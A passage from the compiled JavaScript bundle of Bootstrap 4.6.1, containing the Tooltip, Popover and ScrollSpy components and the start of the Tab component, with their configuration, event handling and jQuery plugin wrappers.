offset: '(number|string|function)',
container: '(string|element|boolean)',
fallbackPlacement: '(string|array)',
boundary: '(string|element)',
customClass: '(string|function)',
sanitize: 'boolean',
sanitizeFn: '(null|function)',
whiteList: 'object',
popperConfig: '(null|object)'
};
var Event$1 = {
HIDE: "hide" + EVENT_KEY$4,
HIDDEN: "hidden" + EVENT_KEY$4,
SHOW: "show" + EVENT_KEY$4,
SHOWN: "shown" + EVENT_KEY$4,
INSERTED: "inserted" + EVENT_KEY$4,
CLICK: "click" + EVENT_KEY$4,
FOCUSIN: "focusin" + EVENT_KEY$4,
FOCUSOUT: "focusout" + EVENT_KEY$4,
MOUSEENTER: "mouseenter" + EVENT_KEY$4,
MOUSELEAVE: "mouseleave" + EVENT_KEY$4
};
/**
* Class definition
*/
var Tooltip = /*#__PURE__*/function () {
function Tooltip(element, config) {
if (typeof Popper__default["default"] === 'undefined') {
throw new TypeError('Bootstrap\'s tooltips require Popper (https://popper.js.org)');
} // Private
this._isEnabled = true;
this._timeout = 0;
this._hoverState = '';
this._activeTrigger = {};
this._popper = null; // Protected
this.element = element;
this.config = this._getConfig(config);
this.tip = null;
this._setListeners();
} // Getters
var _proto = Tooltip.prototype;
// Public
_proto.enable = function enable() {
this._isEnabled = true;
};
_proto.disable = function disable() {
this._isEnabled = false;
};
_proto.toggleEnabled = function toggleEnabled() {
this._isEnabled = !this._isEnabled;
};
_proto.toggle = function toggle(event) {
if (!this._isEnabled) {
return;
}
if (event) {
var dataKey = this.constructor.DATA_KEY;
var context = $__default["default"](event.currentTarget).data(dataKey);
if (!context) {
context = new this.constructor(event.currentTarget, this._getDelegateConfig());
$__default["default"](event.currentTarget).data(dataKey, context);
}
context._activeTrigger.click = !context._activeTrigger.click;
if (context._isWithActiveTrigger()) {
context._enter(null, context);
} else {
context._leave(null, context);
}
} else {
if ($__default["default"](this.getTipElement()).hasClass(CLASS_NAME_SHOW$3)) {
this._leave(null, this);
return;
}
this._enter(null, this);
}
};
_proto.dispose = function dispose() {
clearTimeout(this._timeout);
$__default["default"].removeData(this.element, this.constructor.DATA_KEY);
$__default["default"](this.element).off(this.constructor.EVENT_KEY);
$__default["default"](this.element).closest('.modal').off('hide.bs.modal', this._hideModalHandler);
if (this.tip) {
$__default["default"](this.tip).remove();
}
this._isEnabled = null;
this._timeout = null;
this._hoverState = null;
this._activeTrigger = null;
if (this._popper) {
this._popper.destroy();
}
this._popper = null;
this.element = null;
this.config = null;
this.tip = null;
};
_proto.show = function show() {
var _this = this;
if ($__default["default"](this.element).css('display') === 'none') {
throw new Error('Please use show on visible elements');
}
var showEvent = $__default["default"].Event(this.constructor.Event.SHOW);
if (this.isWithContent() && this._isEnabled) {
$__default["default"](this.element).trigger(showEvent);
var shadowRoot = Util.findShadowRoot(this.element);
var isInTheDom = $__default["default"].contains(shadowRoot !== null ? shadowRoot : this.element.ownerDocument.documentElement, this.element);
if (showEvent.isDefaultPrevented() || !isInTheDom) {
return;
}
var tip = this.getTipElement();
var tipId = Util.getUID(this.constructor.NAME);
tip.setAttribute('id', tipId);
this.element.setAttribute('aria-describedby', tipId);
this.setContent();
if (this.config.animation) {
$__default["default"](tip).addClass(CLASS_NAME_FADE$3);
}
var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement;
var attachment = this._getAttachment(placement);
this.addAttachmentClass(attachment);
var container = this._getContainer();
$__default["default"](tip).data(this.constructor.DATA_KEY, this);
if (!$__default["default"].contains(this.element.ownerDocument.documentElement, this.tip)) {
$__default["default"](tip).appendTo(container);
}
$__default["default"](this.element).trigger(this.constructor.Event.INSERTED);
this._popper = new Popper__default["default"](this.element, tip, this._getPopperConfig(attachment));
$__default["default"](tip).addClass(CLASS_NAME_SHOW$3);
$__default["default"](tip).addClass(this.config.customClass); // If this is a touch-enabled device we add extra
// empty mouseover listeners to the body's immediate children;
// only needed because of broken event delegation on iOS
// https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
if ('ontouchstart' in document.documentElement) {
$__default["default"](document.body).children().on('mouseover', null, $__default["default"].noop);
}
var complete = function complete() {
if (_this.config.animation) {
_this._fixTransition();
}
var prevHoverState = _this._hoverState;
_this._hoverState = null;
$__default["default"](_this.element).trigger(_this.constructor.Event.SHOWN);
if (prevHoverState === HOVER_STATE_OUT) {
_this._leave(null, _this);
}
};
if ($__default["default"](this.tip).hasClass(CLASS_NAME_FADE$3)) {
var transitionDuration = Util.getTransitionDurationFromElement(this.tip);
$__default["default"](this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
} else {
complete();
}
}
};
_proto.hide = function hide(callback) {
var _this2 = this;
var tip = this.getTipElement();
var hideEvent = $__default["default"].Event(this.constructor.Event.HIDE);
var complete = function complete() {
if (_this2._hoverState !== HOVER_STATE_SHOW && tip.parentNode) {
tip.parentNode.removeChild(tip);
}
_this2._cleanTipClass();
_this2.element.removeAttribute('aria-describedby');
$__default["default"](_this2.element).trigger(_this2.constructor.Event.HIDDEN);
if (_this2._popper !== null) {
_this2._popper.destroy();
}
if (callback) {
callback();
}
};
$__default["default"](this.element).trigger(hideEvent);
if (hideEvent.isDefaultPrevented()) {
return;
}
$__default["default"](tip).removeClass(CLASS_NAME_SHOW$3); // If this is a touch-enabled device we remove the extra
// empty mouseover listeners we added for iOS support
if ('ontouchstart' in document.documentElement) {
$__default["default"](document.body).children().off('mouseover', null, $__default["default"].noop);
}
this._activeTrigger[TRIGGER_CLICK] = false;
this._activeTrigger[TRIGGER_FOCUS] = false;
this._activeTrigger[TRIGGER_HOVER] = false;
if ($__default["default"](this.tip).hasClass(CLASS_NAME_FADE$3)) {
var transitionDuration = Util.getTransitionDurationFromElement(tip);
$__default["default"](tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
} else {
complete();
}
this._hoverState = '';
};
_proto.update = function update() {
if (this._popper !== null) {
this._popper.scheduleUpdate();
}
} // Protected
;
_proto.isWithContent = function isWithContent() {
return Boolean(this.getTitle());
};
_proto.addAttachmentClass = function addAttachmentClass(attachment) {
$__default["default"](this.getTipElement()).addClass(CLASS_PREFIX$1 + "-" + attachment);
};
_proto.getTipElement = function getTipElement() {
this.tip = this.tip || $__default["default"](this.config.template)[0];
return this.tip;
};
_proto.setContent = function setContent() {
var tip = this.getTipElement();
this.setElementContent($__default["default"](tip.querySelectorAll(SELECTOR_TOOLTIP_INNER)), this.getTitle());
$__default["default"](tip).removeClass(CLASS_NAME_FADE$3 + " " + CLASS_NAME_SHOW$3);
};
_proto.setElementContent = function setElementContent($element, content) {
if (typeof content === 'object' && (content.nodeType || content.jquery)) {
// Content is a DOM node or a jQuery
if (this.config.html) {
if (!$__default["default"](content).parent().is($element)) {
$element.empty().append(content);
}
} else {
$element.text($__default["default"](content).text());
}
return;
}
if (this.config.html) {
if (this.config.sanitize) {
content = sanitizeHtml(content, this.config.whiteList, this.config.sanitizeFn);
}
$element.html(content);
} else {
$element.text(content);
}
};
_proto.getTitle = function getTitle() {
var title = this.element.getAttribute('data-original-title');
if (!title) {
title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title;
}
return title;
} // Private
;
_proto._getPopperConfig = function _getPopperConfig(attachment) {
var _this3 = this;
var defaultBsConfig = {
placement: attachment,
modifiers: {
offset: this._getOffset(),
flip: {
behavior: this.config.fallbackPlacement
},
arrow: {
element: SELECTOR_ARROW
},
preventOverflow: {
boundariesElement: this.config.boundary
}
},
onCreate: function onCreate(data) {
if (data.originalPlacement !== data.placement) {
_this3._handlePopperPlacementChange(data);
}
},
onUpdate: function onUpdate(data) {
return _this3._handlePopperPlacementChange(data);
}
};
return _extends({}, defaultBsConfig, this.config.popperConfig);
};
_proto._getOffset = function _getOffset() {
var _this4 = this;
var offset = {};
if (typeof this.config.offset === 'function') {
offset.fn = function (data) {
data.offsets = _extends({}, data.offsets, _this4.config.offset(data.offsets, _this4.element));
return data;
};
} else {
offset.offset = this.config.offset;
}
return offset;
};
_proto._getContainer = function _getContainer() {
if (this.config.container === false) {
return document.body;
}
if (Util.isElement(this.config.container)) {
return $__default["default"](this.config.container);
}
return $__default["default"](document).find(this.config.container);
};
_proto._getAttachment = function _getAttachment(placement) {
return AttachmentMap[placement.toUpperCase()];
};
_proto._setListeners = function _setListeners() {
var _this5 = this;
var triggers = this.config.trigger.split(' ');
triggers.forEach(function (trigger) {
if (trigger === 'click') {
$__default["default"](_this5.element).on(_this5.constructor.Event.CLICK, _this5.config.selector, function (event) {
return _this5.toggle(event);
});
} else if (trigger !== TRIGGER_MANUAL) {
var eventIn = trigger === TRIGGER_HOVER ? _this5.constructor.Event.MOUSEENTER : _this5.constructor.Event.FOCUSIN;
var eventOut = trigger === TRIGGER_HOVER ? _this5.constructor.Event.MOUSELEAVE : _this5.constructor.Event.FOCUSOUT;
$__default["default"](_this5.element).on(eventIn, _this5.config.selector, function (event) {
return _this5._enter(event);
}).on(eventOut, _this5.config.selector, function (event) {
return _this5._leave(event);
});
}
});
this._hideModalHandler = function () {
if (_this5.element) {
_this5.hide();
}
};
$__default["default"](this.element).closest('.modal').on('hide.bs.modal', this._hideModalHandler);
if (this.config.selector) {
this.config = _extends({}, this.config, {
trigger: 'manual',
selector: ''
});
} else {
this._fixTitle();
}
};
_proto._fixTitle = function _fixTitle() {
var titleType = typeof this.element.getAttribute('data-original-title');
if (this.element.getAttribute('title') || titleType !== 'string') {
this.element.setAttribute('data-original-title', this.element.getAttribute('title') || '');
this.element.setAttribute('title', '');
}
};
_proto._enter = function _enter(event, context) {
var dataKey = this.constructor.DATA_KEY;
context = context || $__default["default"](event.currentTarget).data(dataKey);
if (!context) {
context = new this.constructor(event.currentTarget, this._getDelegateConfig());
$__default["default"](event.currentTarget).data(dataKey, context);
}
if (event) {
context._activeTrigger[event.type === 'focusin' ? TRIGGER_FOCUS : TRIGGER_HOVER] = true;
}
if ($__default["default"](context.getTipElement()).hasClass(CLASS_NAME_SHOW$3) || context._hoverState === HOVER_STATE_SHOW) {
context._hoverState = HOVER_STATE_SHOW;
return;
}
clearTimeout(context._timeout);
context._hoverState = HOVER_STATE_SHOW;
if (!context.config.delay || !context.config.delay.show) {
context.show();
return;
}
context._timeout = setTimeout(function () {
if (context._hoverState === HOVER_STATE_SHOW) {
context.show();
}
}, context.config.delay.show);
};
_proto._leave = function _leave(event, context) {
var dataKey = this.constructor.DATA_KEY;
context = context || $__default["default"](event.currentTarget).data(dataKey);
if (!context) {
context = new this.constructor(event.currentTarget, this._getDelegateConfig());
$__default["default"](event.currentTarget).data(dataKey, context);
}
if (event) {
context._activeTrigger[event.type === 'focusout' ? TRIGGER_FOCUS : TRIGGER_HOVER] = false;
}
if (context._isWithActiveTrigger()) {
return;
}
clearTimeout(context._timeout);
context._hoverState = HOVER_STATE_OUT;
if (!context.config.delay || !context.config.delay.hide) {
context.hide();
return;
}
context._timeout = setTimeout(function () {
if (context._hoverState === HOVER_STATE_OUT) {
context.hide();
}
}, context.config.delay.hide);
};
_proto._isWithActiveTrigger = function _isWithActiveTrigger() {
for (var trigger in this._activeTrigger) {
if (this._activeTrigger[trigger]) {
return true;
}
}
return false;
};
_proto._getConfig = function _getConfig(config) {
var dataAttributes = $__default["default"](this.element).data();
Object.keys(dataAttributes).forEach(function (dataAttr) {
if (DISALLOWED_ATTRIBUTES.indexOf(dataAttr) !== -1) {
delete dataAttributes[dataAttr];
}
});
config = _extends({}, this.constructor.Default, dataAttributes, typeof config === 'object' && config ? config : {});
if (typeof config.delay === 'number') {
config.delay = {
show: config.delay,
hide: config.delay
};
}
if (typeof config.title === 'number') {
config.title = config.title.toString();
}
if (typeof config.content === 'number') {
config.content = config.content.toString();
}
Util.typeCheckConfig(NAME$4, config, this.constructor.DefaultType);
if (config.sanitize) {
config.template = sanitizeHtml(config.template, config.whiteList, config.sanitizeFn);
}
return config;
};
_proto._getDelegateConfig = function _getDelegateConfig() {
var config = {};
if (this.config) {
for (var key in this.config) {
if (this.constructor.Default[key] !== this.config[key]) {
config[key] = this.config[key];
}
}
}
return config;
};
_proto._cleanTipClass = function _cleanTipClass() {
var $tip = $__default["default"](this.getTipElement());
var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX$1);
if (tabClass !== null && tabClass.length) {
$tip.removeClass(tabClass.join(''));
}
};
_proto._handlePopperPlacementChange = function _handlePopperPlacementChange(popperData) {
this.tip = popperData.instance.popper;
this._cleanTipClass();
this.addAttachmentClass(this._getAttachment(popperData.placement));
};
_proto._fixTransition = function _fixTransition() {
var tip = this.getTipElement();
var initConfigAnimation = this.config.animation;
if (tip.getAttribute('x-placement') !== null) {
return;
}
$__default["default"](tip).removeClass(CLASS_NAME_FADE$3);
this.config.animation = false;
this.hide();
this.show();
this.config.animation = initConfigAnimation;
} // Static
;
Tooltip._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var $element = $__default["default"](this);
var data = $element.data(DATA_KEY$4);
var _config = typeof config === 'object' && config;
if (!data && /dispose|hide/.test(config)) {
return;
}
if (!data) {
data = new Tooltip(this, _config);
$element.data(DATA_KEY$4, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config]();
}
});
};
_createClass(Tooltip, null, [{
key: "VERSION",
get: function get() {
return VERSION$4;
}
}, {
key: "Default",
get: function get() {
return Default$3;
}
}, {
key: "NAME",
get: function get() {
return NAME$4;
}
}, {
key: "DATA_KEY",
get: function get() {
return DATA_KEY$4;
}
}, {
key: "Event",
get: function get() {
return Event$1;
}
}, {
key: "EVENT_KEY",
get: function get() {
return EVENT_KEY$4;
}
}, {
key: "DefaultType",
get: function get() {
return DefaultType$3;
}
}]);
return Tooltip;
}();
/**
* jQuery
*/
$__default["default"].fn[NAME$4] = Tooltip._jQueryInterface;
$__default["default"].fn[NAME$4].Constructor = Tooltip;
$__default["default"].fn[NAME$4].noConflict = function () {
$__default["default"].fn[NAME$4] = JQUERY_NO_CONFLICT$4;
return Tooltip._jQueryInterface;
};
/**
* Constants
*/
var NAME$3 = 'popover';
var VERSION$3 = '4.6.1';
var DATA_KEY$3 = 'bs.popover';
var EVENT_KEY$3 = "." + DATA_KEY$3;
var JQUERY_NO_CONFLICT$3 = $__default["default"].fn[NAME$3];
var CLASS_PREFIX = 'bs-popover';
var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g');
var CLASS_NAME_FADE$2 = 'fade';
var CLASS_NAME_SHOW$2 = 'show';
var SELECTOR_TITLE = '.popover-header';
var SELECTOR_CONTENT = '.popover-body';
var Default$2 = _extends({}, Tooltip.Default, {
placement: 'right',
trigger: 'click',
content: '',
template: '<div class="popover" role="tooltip">' + '<div class="arrow"></div>' + '<h3 class="popover-header"></h3>' + '<div class="popover-body"></div></div>'
});
var DefaultType$2 = _extends({}, Tooltip.DefaultType, {
content: '(string|element|function)'
});
var Event = {
HIDE: "hide" + EVENT_KEY$3,
HIDDEN: "hidden" + EVENT_KEY$3,
SHOW: "show" + EVENT_KEY$3,
SHOWN: "shown" + EVENT_KEY$3,
INSERTED: "inserted" + EVENT_KEY$3,
CLICK: "click" + EVENT_KEY$3,
FOCUSIN: "focusin" + EVENT_KEY$3,
FOCUSOUT: "focusout" + EVENT_KEY$3,
MOUSEENTER: "mouseenter" + EVENT_KEY$3,
MOUSELEAVE: "mouseleave" + EVENT_KEY$3
};
/**
* Class definition
*/
var Popover = /*#__PURE__*/function (_Tooltip) {
_inheritsLoose(Popover, _Tooltip);
function Popover() {
return _Tooltip.apply(this, arguments) || this;
}
var _proto = Popover.prototype;
// Overrides
_proto.isWithContent = function isWithContent() {
return this.getTitle() || this._getContent();
};
_proto.addAttachmentClass = function addAttachmentClass(attachment) {
$__default["default"](this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment);
};
_proto.getTipElement = function getTipElement() {
this.tip = this.tip || $__default["default"](this.config.template)[0];
return this.tip;
};
_proto.setContent = function setContent() {
var $tip = $__default["default"](this.getTipElement()); // We use append for html objects to maintain js events
this.setElementContent($tip.find(SELECTOR_TITLE), this.getTitle());
var content = this._getContent();
if (typeof content === 'function') {
content = content.call(this.element);
}
this.setElementContent($tip.find(SELECTOR_CONTENT), content);
$tip.removeClass(CLASS_NAME_FADE$2 + " " + CLASS_NAME_SHOW$2);
} // Private
;
_proto._getContent = function _getContent() {
return this.element.getAttribute('data-content') || this.config.content;
};
_proto._cleanTipClass = function _cleanTipClass() {
var $tip = $__default["default"](this.getTipElement());
var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);
if (tabClass !== null && tabClass.length > 0) {
$tip.removeClass(tabClass.join(''));
}
} // Static
;
Popover._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var data = $__default["default"](this).data(DATA_KEY$3);
var _config = typeof config === 'object' ? config : null;
if (!data && /dispose|hide/.test(config)) {
return;
}
if (!data) {
data = new Popover(this, _config);
$__default["default"](this).data(DATA_KEY$3, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config]();
}
});
};
_createClass(Popover, null, [{
key: "VERSION",
get: // Getters
function get() {
return VERSION$3;
}
}, {
key: "Default",
get: function get() {
return Default$2;
}
}, {
key: "NAME",
get: function get() {
return NAME$3;
}
}, {
key: "DATA_KEY",
get: function get() {
return DATA_KEY$3;
}
}, {
key: "Event",
get: function get() {
return Event;
}
}, {
key: "EVENT_KEY",
get: function get() {
return EVENT_KEY$3;
}
}, {
key: "DefaultType",
get: function get() {
return DefaultType$2;
}
}]);
return Popover;
}(Tooltip);
/**
* jQuery
*/
$__default["default"].fn[NAME$3] = Popover._jQueryInterface;
$__default["default"].fn[NAME$3].Constructor = Popover;
$__default["default"].fn[NAME$3].noConflict = function () {
$__default["default"].fn[NAME$3] = JQUERY_NO_CONFLICT$3;
return Popover._jQueryInterface;
};
/**
* Constants
*/
var NAME$2 = 'scrollspy';
var VERSION$2 = '4.6.1';
var DATA_KEY$2 = 'bs.scrollspy';
var EVENT_KEY$2 = "." + DATA_KEY$2;
var DATA_API_KEY$1 = '.data-api';
var JQUERY_NO_CONFLICT$2 = $__default["default"].fn[NAME$2];
var CLASS_NAME_DROPDOWN_ITEM = 'dropdown-item';
var CLASS_NAME_ACTIVE$1 = 'active';
var EVENT_ACTIVATE = "activate" + EVENT_KEY$2;
var EVENT_SCROLL = "scroll" + EVENT_KEY$2;
var EVENT_LOAD_DATA_API = "load" + EVENT_KEY$2 + DATA_API_KEY$1;
var METHOD_OFFSET = 'offset';
var METHOD_POSITION = 'position';
var SELECTOR_DATA_SPY = '[data-spy="scroll"]';
var SELECTOR_NAV_LIST_GROUP$1 = '.nav, .list-group';
var SELECTOR_NAV_LINKS = '.nav-link';
var SELECTOR_NAV_ITEMS = '.nav-item';
var SELECTOR_LIST_ITEMS = '.list-group-item';
var SELECTOR_DROPDOWN$1 = '.dropdown';
var SELECTOR_DROPDOWN_ITEMS = '.dropdown-item';
var SELECTOR_DROPDOWN_TOGGLE$1 = '.dropdown-toggle';
var Default$1 = {
offset: 10,
method: 'auto',
target: ''
};
var DefaultType$1 = {
offset: 'number',
method: 'string',
target: '(string|element)'
};
/**
* Class definition
*/
var ScrollSpy = /*#__PURE__*/function () {
function ScrollSpy(element, config) {
var _this = this;
this._element = element;
this._scrollElement = element.tagName === 'BODY' ? window : element;
this._config = this._getConfig(config);
this._selector = this._config.target + " " + SELECTOR_NAV_LINKS + "," + (this._config.target + " " + SELECTOR_LIST_ITEMS + ",") + (this._config.target + " " + SELECTOR_DROPDOWN_ITEMS);
this._offsets = [];
this._targets = [];
this._activeTarget = null;
this._scrollHeight = 0;
$__default["default"](this._scrollElement).on(EVENT_SCROLL, function (event) {
return _this._process(event);
});
this.refresh();
this._process();
} // Getters
var _proto = ScrollSpy.prototype;
// Public
_proto.refresh = function refresh() {
var _this2 = this;
var autoMethod = this._scrollElement === this._scrollElement.window ? METHOD_OFFSET : METHOD_POSITION;
var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method;
var offsetBase = offsetMethod === METHOD_POSITION ? this._getScrollTop() : 0;
this._offsets = [];
this._targets = [];
this._scrollHeight = this._getScrollHeight();
var targets = [].slice.call(document.querySelectorAll(this._selector));
targets.map(function (element) {
var target;
var targetSelector = Util.getSelectorFromElement(element);
if (targetSelector) {
target = document.querySelector(targetSelector);
}
if (target) {
var targetBCR = target.getBoundingClientRect();
if (targetBCR.width || targetBCR.height) {
// TODO (fat): remove sketch reliance on jQuery position/offset
return [$__default["default"](target)[offsetMethod]().top + offsetBase, targetSelector];
}
}
return null;
}).filter(function (item) {
return item;
}).sort(function (a, b) {
return a[0] - b[0];
}).forEach(function (item) {
_this2._offsets.push(item[0]);
_this2._targets.push(item[1]);
});
};
_proto.dispose = function dispose() {
$__default["default"].removeData(this._element, DATA_KEY$2);
$__default["default"](this._scrollElement).off(EVENT_KEY$2);
this._element = null;
this._scrollElement = null;
this._config = null;
this._selector = null;
this._offsets = null;
this._targets = null;
this._activeTarget = null;
this._scrollHeight = null;
} // Private
;
_proto._getConfig = function _getConfig(config) {
config = _extends({}, Default$1, typeof config === 'object' && config ? config : {});
if (typeof config.target !== 'string' && Util.isElement(config.target)) {
var id = $__default["default"](config.target).attr('id');
if (!id) {
id = Util.getUID(NAME$2);
$__default["default"](config.target).attr('id', id);
}
config.target = "#" + id;
}
Util.typeCheckConfig(NAME$2, config, DefaultType$1);
return config;
};
_proto._getScrollTop = function _getScrollTop() {
return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop;
};
_proto._getScrollHeight = function _getScrollHeight() {
return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight);
};
_proto._getOffsetHeight = function _getOffsetHeight() {
return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height;
};
_proto._process = function _process() {
var scrollTop = this._getScrollTop() + this._config.offset;
var scrollHeight = this._getScrollHeight();
var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight();
if (this._scrollHeight !== scrollHeight) {
this.refresh();
}
if (scrollTop >= maxScroll) {
var target = this._targets[this._targets.length - 1];
if (this._activeTarget !== target) {
this._activate(target);
}
return;
}
if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {
this._activeTarget = null;
this._clear();
return;
}
for (var i = this._offsets.length; i--;) {
var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]);
if (isActiveTarget) {
this._activate(this._targets[i]);
}
}
};
_proto._activate = function _activate(target) {
this._activeTarget = target;
this._clear();
var queries = this._selector.split(',').map(function (selector) {
return selector + "[data-target=\"" + target + "\"]," + selector + "[href=\"" + target + "\"]";
});
var $link = $__default["default"]([].slice.call(document.querySelectorAll(queries.join(','))));
if ($link.hasClass(CLASS_NAME_DROPDOWN_ITEM)) {
$link.closest(SELECTOR_DROPDOWN$1).find(SELECTOR_DROPDOWN_TOGGLE$1).addClass(CLASS_NAME_ACTIVE$1);
$link.addClass(CLASS_NAME_ACTIVE$1);
} else {
// Set triggered link as active
$link.addClass(CLASS_NAME_ACTIVE$1); // Set triggered links parents as active
// With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor
$link.parents(SELECTOR_NAV_LIST_GROUP$1).prev(SELECTOR_NAV_LINKS + ", " + SELECTOR_LIST_ITEMS).addClass(CLASS_NAME_ACTIVE$1); // Handle special case when .nav-link is inside .nav-item
$link.parents(SELECTOR_NAV_LIST_GROUP$1).prev(SELECTOR_NAV_ITEMS).children(SELECTOR_NAV_LINKS).addClass(CLASS_NAME_ACTIVE$1);
}
$__default["default"](this._scrollElement).trigger(EVENT_ACTIVATE, {
relatedTarget: target
});
};
_proto._clear = function _clear() {
[].slice.call(document.querySelectorAll(this._selector)).filter(function (node) {
return node.classList.contains(CLASS_NAME_ACTIVE$1);
}).forEach(function (node) {
return node.classList.remove(CLASS_NAME_ACTIVE$1);
});
} // Static
;
ScrollSpy._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var data = $__default["default"](this).data(DATA_KEY$2);
var _config = typeof config === 'object' && config;
if (!data) {
data = new ScrollSpy(this, _config);
$__default["default"](this).data(DATA_KEY$2, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config]();
}
});
};
_createClass(ScrollSpy, null, [{
key: "VERSION",
get: function get() {
return VERSION$2;
}
}, {
key: "Default",
get: function get() {
return Default$1;
}
}]);
return ScrollSpy;
}();
/**
* Data API implementation
*/
$__default["default"](window).on(EVENT_LOAD_DATA_API, function () {
var scrollSpys = [].slice.call(document.querySelectorAll(SELECTOR_DATA_SPY));
var scrollSpysLength = scrollSpys.length;
for (var i = scrollSpysLength; i--;) {
var $spy = $__default["default"](scrollSpys[i]);
ScrollSpy._jQueryInterface.call($spy, $spy.data());
}
});
/**
* jQuery
*/
$__default["default"].fn[NAME$2] = ScrollSpy._jQueryInterface;
$__default["default"].fn[NAME$2].Constructor = ScrollSpy;
$__default["default"].fn[NAME$2].noConflict = function () {
$__default["default"].fn[NAME$2] = JQUERY_NO_CONFLICT$2;
return ScrollSpy._jQueryInterface;
};
/**
* Constants
*/
var NAME$1 = 'tab';
var VERSION$1 = '4.6.1';
var DATA_KEY$1 = 'bs.tab';
var EVENT_KEY$1 = "." + DATA_KEY$1;
var DATA_API_KEY = '.data-api';
var JQUERY_NO_CONFLICT$1 = $__default["default"].fn[NAME$1];
var CLASS_NAME_DROPDOWN_MENU = 'dropdown-menu';
var CLASS_NAME_ACTIVE = 'active';
var CLASS_NAME_DISABLED = 'disabled';
var CLASS_NAME_FADE$1 = 'fade';
var CLASS_NAME_SHOW$1 = 'show';
var EVENT_HIDE$1 = "hide" + EVENT_KEY$1;
var EVENT_HIDDEN$1 = "hidden" + EVENT_KEY$1;
var EVENT_SHOW$1 = "show" + EVENT_KEY$1;
var EVENT_SHOWN$1 = "shown" + EVENT_KEY$1;
var EVENT_CLICK_DATA_API = "click" + EVENT_KEY$1 + DATA_API_KEY;
var SELECTOR_DROPDOWN = '.dropdown';
var SELECTOR_NAV_LIST_GROUP = '.nav, .list-group';
var SELECTOR_ACTIVE = '.active';
var SELECTOR_ACTIVE_UL = '> li > .active';
var SELECTOR_DATA_TOGGLE = '[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]';
var SELECTOR_DROPDOWN_TOGGLE = '.dropdown-toggle';
var SELECTOR_DROPDOWN_ACTIVE_CHILD = '> .dropdown-menu .active';
/**
* Class definition
*/
var Tab = /*#__PURE__*/function () {
function Tab(element) {
this._element = element;
} // Getters
var _proto = Tab.prototype;
// Public
_proto.show = function show() {
var _this = this;
if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && $__default["default"](this._element).hasClass(CLASS_NAME_ACTIVE) || $__default["default"](this._element).hasClass(CLASS_NAME_DISABLED)) {
return;
}
var target;
var previous;
var listElement = $__default["default"](this._element).closest(SELECTOR_NAV_LIST_GROUP)[0];
var selector = Util.getSelectorFromElement(this._element);
if (listElement) {
var itemSelector = listElement.nodeName === 'UL' || listElement.nodeName === 'OL' ? SELECTOR_ACTIVE_UL : SELECTOR_ACTIVE;
previous = $__default["default"].makeArray($__default["default"](listElement).find(itemSelector));
previous = previous[previous.length - 1];
}
var hideEvent = $__default["default"].Event(EVENT_HIDE$1, {
relatedTarget: this._element
});
var showEvent = $__default["default"].Event(EVENT_SHOW$1, {
relatedTarget: previous
});
if (previous) {
$__default["default"](previous).trigger(hideEvent);
}
$__default["default"](this._element).trigger(showEvent);
if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) {
return;
}
if (selector) {
target = document.querySelector(selector);
}
this._activate(this._element, listElement);
var complete = function complete() {
var hiddenEvent = $__default["default"].Event(EVENT_HIDDEN$1, {
relatedTarget: _this._element
});
var shownEvent = $__default["default"].Event(EVENT_SHOWN$1, {
relatedTarget: previous
});
$__default["default"](previous).trigger(hiddenEvent);
$__default["default"](_this._element).trigger(shownEvent);
};
if (target) {
this._activate(target, target.parentNode, complete);
} else {
complete();
}
};
_proto.dispose = function dispose() {
$__default["default"].removeData(this._element, DATA_KEY$1);
this._element = null;
} // Private
;
_proto._activate = function _activate(element, container, callback) {
var _this2 = this;
var activeElements = container && (container.nodeName === 'UL' || container.nodeName === 'OL') ? $__default["default"](container).find(SELECTOR_ACTIVE_UL) : $__default["default"](container).children(SELECTOR_ACTIVE);
var active = activeElements[0];
var isTransitioning = callback && active && $__default["default"](active).hasClass(CLASS_NAME_FADE$1);
var complete = function complete() {
return _this2._transitionComplete(element, active, callback);
};
if (active && isTransitioning) {
var transitionDuration = Util.getTransitionDurationFromElement(active);
$__default["default"](active).removeClass(CLASS_NAME_SHOW$1).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
} else {
complete();
}
};
_proto._transitionComplete = function _transitionComplete(element, active, callback) {
if (active) {
$__default["default"](active).removeClass(CLASS_NAME_ACTIVE);
var dropdownChild = $__default["default"](active.parentNode).find(SELECTOR_DROPDOWN_ACTIVE_CHILD)[0];
if (dropdownChild) {
$__default["default"](dropdownChild).removeClass(CLASS_NAME_ACTIVE);
}
if (active.getAttribute('role') === 'tab') {
active.setAttribute('aria-selected', false);
}
}
$__default["default"](element).addClass(CLASS_NAME_ACTIVE);
if (element.getAttribute('role') === 'tab') {
element.setAttribute('aria-selected', true);
}
Util.reflow(element);
if (element.classList.contains(CLASS_NAME_FADE$1)) {
element.classList.add(CLASS_NAME_SHOW$1);
